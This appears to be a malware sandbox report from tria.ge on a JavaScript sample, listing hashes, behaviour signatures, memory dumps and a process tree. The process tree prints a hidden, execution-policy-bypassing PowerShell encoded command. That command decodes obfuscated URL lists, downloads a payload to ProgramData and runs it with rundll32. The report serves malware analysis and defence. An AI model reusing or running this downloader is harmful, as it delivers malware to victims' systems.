Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    30s
  • max time network
    32s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    16/05/2023, 13:29

General

  • Target

    Gnbec.js

  • Size

    284KB

  • MD5

    09898f199ab752767454a9073e15282f

  • SHA1

    4d2bdf3e47a39fa418deafe0cbcd1f2f12093347

  • SHA256

    01a8735ace5e349ab46b286cae6658931fca9521f3cc640fe6f03951392a36bb

  • SHA512

    7ea486fba3e95a9b660f722362db42856d35d928d4a2dc930e8dd500f113e8d7a59c8d1315abe1a5a46ca8f40a11b043904a274971fb02c3496f226133e861ad

  • SSDEEP

    3072:8Ra6vwAPaAtU0eUjidy0dI4eiVnXT95gQtNEs6:8Ra6VbU0xjidy0dIPiVnDh0s6

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Gnbec.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Gnbec.js" AtaxiaphasiaMangbattu egaliteAcrobryous butteringKoreish
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1472
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand "JABNAGkAbABrAHcAbwByAHQAcwBCAG8AcwB3AGUAbABsAGkAYQAgAD0AIAAzADcANgA7ACQAbgBvAG4AdgBlAHIAdABpAGMAYQBsAGwAeQBVAG4AbQBhAHIAawBpAG4AZwAgAD0AIAA5ADUAMAA7ACQAdQBuAGEAZgBmAGEAYgBsAGUAIAA9ACAAIgBjAGEAdAB0AGwAZQB5AGEAcwBNAGUAbQBiAHIAYQBjAGkAZABhAGUAIgA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEANQA7ACQAUgBlAGIAZQBsAGwAaQBvAG4AIAA9ACAAIgBSAGUAYwBvAG0AbQBlAG4AZABlAGQAIgA7ACQAUgBlAGUAZABpAHQAZQBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA1AEEARABFAEEATABnAEEAeABBAEQAawBBAE0AdwBBAHUAQQBEAFEAQQBNAHcAQQB1AEEARABFAEEATQBRAEEANQBBAEMAOABBAGQAQQBCAE8AQQBHAFkAQQBMAHcAQgBQAEEARQAwAEEATgB3AEIASQBBAEcANABBAGMAZwBCAHUAQQBFAGMAQQBlAFEAQgBwAEEARQA0AEEAegBoAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQAYwBBAEwAZwBBADUAQQBEAEUAQQBMAGcAQQA0AEEARABZAEEATABnAEEAeABBAEQASQBBAE0AZwBBAHYAQQBGAFkAQQBiAEEAQgB3AEEARgBRAEEATAB3AEIAWABBAEYAVQBBAGMAdwBCAHkAQQBHAHcAQQBOAFEAQgB0AEEASABRAEEAYQB3AEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABiAGEAcwBvAG0AbQBhAHQAbwBwAGgAbwByAG8AdQBzACAAaQBuACAAJABSAGUAZQBkAGkAdABlAGQAIAAtAHMAcABsAGkAdAAgACIAegBoACIAKQAgAHsAJABQAHIAZQBnAGUAbgBlAHIAbwB1AHMASAB5AGQAcgBvAHgAeQBsAGEAdABpAG8AbgAgAD0AIAAzADgAMwA7ACQAYwB5AG4AaQBhAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGkAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAYQBBAEIAdgBBAEcAdwBBAFoAUQBBAHUAQQBHAGMAQQBjAGcAQgBoAEEASABRAEEAYQBRAEIAegBBAEEAPQA9AGUAegBXAE8AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBnAEEAYgB3AEIAdABBAEcAOABBAFoAUQBCAHYAQQBIAG8AQQBiAHcAQgBwAEEARwBNAEEATABnAEIAaQBBAEcAVQBBAFoAUQBCAHkAQQBBAD0APQAiADsAJABFAHUAcgBvAHAAaQB1AG0ASQBuAHQAZQByAGkAbgB2AG8AbAB2AGUAZAAgAD0AIAAiAEQAZQByAGUAbgBjAGUAcABoAGEAbABvAGMAZQBsAGUAUABoAG8AcwBwAGgAbwByAGkAdABpAGMAIgA7AHQAcgB5ACAAewAkAGYAaQBsAGEAbQBlAG4AdABMAGkAcQB1AG8AcgBpAHMAaABuAGUAcwBzACAAPQAgADIAMQA4ADsAJAByAGEAbABsAGkAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBtAEEARwBrAEEAWgB3AEIAMQBBAEgASQBBAFoAUQBCAHoAQQBDADQAQQBaAGcAQgB2AEEARwA4AEEAZABBAEIAaQBBAEcARQBBAGIAQQBCAHMAQQBBAD0APQBPAE0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB6AEEASABVAEEAYgBRAEIAdwBBAEgAUQBBAGQAUQBCAHYAQQBIAFUAQQBjAHcAQQB1AEEARwBjAEEAYwB3AEEAPQBPAE0AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQAwAEEAZQBRAEIAeQBBAEcAawBBAGIAZwBCAG4AQQBHAEUAQQBRAFEAQgB1AEEARwBFAEEAYgBnAEIANQBBAEcAMABBAEwAZwBCADIAQQBHAGsAQQBiAGcAQQA9ACIAOwAkAE4AbwBuAGcAaQBsAGwAZQBkAEwAYQBuAHUAZwBpAG4AbwB1AHMAbgBlAHMAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAGMAZwBCAHYAQQBHAE0AQQBkAFEAQgB5AEEARwBFAEEAWQBnAEIAcABBAEcAdwBBAGEAUQBCADAAQQBIAGsAQQBMAGcAQgAwAEEARwBFAEEAZQBBAEEAPQBlAGgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB3AEEARwBVAEEAWQBRAEIAeQBBAEcAdwBBAFoAZwBCAHkAQQBIAFUAQQBhAFEAQgAwAEEARQBjAEEAWQBRAEIAcwBBAEcARQBBAFkAdwBCADAAQQBHADgAQQBjAEEAQgBvAEEARwA4AEEAYwBnAEIAbABBAEMANABBAFoAUQBCADEAQQBBAD0APQBlAGgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABBAEEATgB3AEEAdQBBAEQARQBBAE0AUQBBADMAQQBDADQAQQBNAFEAQQB3AEEARABBAEEATABnAEEAeABBAEQASQBBAE4AUQBBAD0AIgA7ACQATgBvAG4AaQBuAGYAcgBhAGMAdABpAG8AbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBvAG0AbQBhAHQAbwBwAGgAbwByAG8AdQBzACkAKQA7AGkAdwByACAAJABOAG8AbgBpAG4AZgByAGEAYwB0AGkAbwBuACAALQBPACAAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwARQB4AGMAcgBlAG0AZQBuAHQAaQB0AGkAbwB1AHMAbgBlAHMAcwBEAGUAaQBvAG4AaQB6AGUAcgAuAHUAcABiAHIAbwBrAGUAbgA7ACQASAB5AHAAZQByAGEAbABnAGUAcwBpAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBaAEEAQgBsAEEASABJAEEAWQB3AEIAdgBBAEcANABBAGMAdwBCADEAQQBHADAAQQBaAFEAQgBYAEEARwBFAEEAZQBRAEIAMwBBAEcAOABBAGMAZwBCAHUAQQBDADQAQQBiAEEAQgBwAEEARwBZAEEAWgBRAEEAPQB1AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQAQQBBAE8AUQBBAHUAQQBEAEUAQQBOAGcAQQA1AEEAQwA0AEEATQBRAEEAeABBAEQAUQBBAEwAZwBBAHgAQQBEAGsAQQBNAHcAQQA9ACIAOwAkAG0AbwBvAGwAaQBuAGcAcwBOAG8AcgB0AGgAbABhAG4AZABlAHIAIAA9ACAAIgBBAHIAYwBoAGYAbABhAHQAdABlAHIAZQByAFMAawBlAGEAbgBzACIAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwARQB4AGMAcgBlAG0AZQBuAHQAaQB0AGkAbwB1AHMAbgBlAHMAcwBEAGUAaQBvAG4AaQB6AGUAcgAuAHUAcABiAHIAbwBrAGUAbgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAA2ADIANwA2ACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBSAFEAQgA0AEEARwBNAEEAYwBnAEIAbABBAEcAMABBAFoAUQBCAHUAQQBIAFEAQQBhAFEAQgAwAEEARwBrAEEAYgB3AEIAMQBBAEgATQBBAGIAZwBCAGwAQQBIAE0AQQBjAHcAQgBFAEEARwBVAEEAYQBRAEIAdgBBAEcANABBAGEAUQBCADYAQQBHAFUAQQBjAGcAQQB1AEEASABVAEEAYwBBAEIAaQBBAEgASQBBAGIAdwBCAHIAQQBHAFUAQQBiAGcAQQBzAEEASABBAEEAYwBnAEIAcABBAEcANABBAGQAQQBBADcAQQBGAFkAQQBkAFEAQgBsAEEARQBvAEEAVQB3AEEAPQAiADsAJABzAHUAcABlAHIAYQBjAGMAZQBzAHMAaQBvAG4AUwBsAG8AdgBlAG4AZQAgAD0AIAAxADEANgA7ACQAVwBvAHUAbABkAGUAcwB0AEcAdQBlAHMAcwBlAHMAIAA9ACAAMwAzADMAOwAkAEIAcgB5AGEAbgBpAHQAZQBCAHIAYQB5AGUAZAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AQQBBAHgAQQBDADQAQQBNAGcAQQB5AEEARABVAEEATABnAEEAeQBBAEQASQBBAE4AdwBBAHUAQQBEAEUAQQBOAHcAQQAzAEEAQQA9AD0AYwBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAVQBBAGIAZwBCAHMAQQBHAFUAQQBkAEEAQgAwAEEARwBVAEEAWgBBAEEAdQBBAEcAYwBBAGQAUQBCAHkAQQBIAFUAQQBjAFEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBWAEEASABRAEEAYgB3AEIAdwBBAEcAawBBAFkAUQBCAHUAQQBDADQAQQBiAFEAQgB2AEEARwAwAEEAYwBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AUQBBAHkAQQBDADQAQQBPAFEAQQAwAEEAQwA0AEEATQBnAEEAeABBAEQARQBBAEwAZwBBAHgAQQBEAEUAQQBNAFEAQQA9ACIAOwBiAHIAZQBhAGsAOwBWAHUAZQBKAFMAOwB9AFYAdQBlAEoAUwA7AH0AIABjAGEAdABjAGgAIAB7ACQAQgByAGEAegBlAGUAIAA9ACAAIgBPAG8AawBpAG4AZQBzAGkAcwBEAG8AdgBlAGMAbwB0AGUAIgA7ACQAaAB5AHAAZQByAGIAYQB0AGEAIAA9ACAAMQA0ADEAOwAkAGUAbgBzAGEAbgBnAHUAaQBuAGUAZAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAZwBBAGIAdwBCAHUAQQBHAFUAQQBlAFEAQgBvAEEARwBVAEEAWQBRAEIAeQBBAEgAUQBBAFoAUQBCAGsAQQBDADQAQQBhAEEAQgBsAEEARwBFAEEAYgBBAEIAMABBAEcAZwBBAFkAdwBCAGgAQQBIAEkAQQBaAFEAQQA9AE0AcgBQAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADUAQQBDADQAQQBOAHcAQQAzAEEAQwA0AEEATgBRAEEAdwBBAEMANABBAE8AUQBBADAAQQBBAD0APQBNAHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAEUAQQBOAGcAQQB1AEEARABFAEEATwBRAEEANQBBAEMANABBAE0AUQBBADIAQQBEAGcAQQBMAGcAQQA1AEEARABNAEEAIgA7AH0AfQAkAFEAdQBhAG4AdABpAGMAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBDAEEARwB3AEEAWgBRAEIAaABBAEcAcwBBAGIAQQBCADUAQQBFAFEAQQBaAFEAQgB1AEEARwA4AEEAZABBAEIAaABBAEgAUQBBAGEAUQBCADIAQQBHAFUAQQBMAGcAQgBrAEEARwBVAEEAYQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADIAQQBEAEkAQQBMAGcAQQB5AEEARABNAEEATgB3AEEAdQBBAEQASQBBAE4AQQBBADQAQQBDADQAQQBNAFEAQQAzAEEARABrAEEAIgA7ACQAZwBhAGwAYQBnAGkAbgBhAGUAUwBlAHIAcgBhAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATgBRAEEAegBBAEMANABBAE0AUQBBAHoAQQBEAFUAQQBMAGcAQQB4AEEARABNAEEATgBBAEEAPQAiADsA"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:468

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/468-58-0x000000001B1A0000-0x000000001B482000-memory.dmp

    Filesize

    2.9MB

  • memory/468-59-0x0000000002490000-0x0000000002498000-memory.dmp

    Filesize

    32KB

  • memory/468-60-0x0000000002840000-0x00000000028C0000-memory.dmp

    Filesize

    512KB

  • memory/468-61-0x0000000002840000-0x00000000028C0000-memory.dmp

    Filesize

    512KB

  • memory/468-62-0x0000000002840000-0x00000000028C0000-memory.dmp

    Filesize

    512KB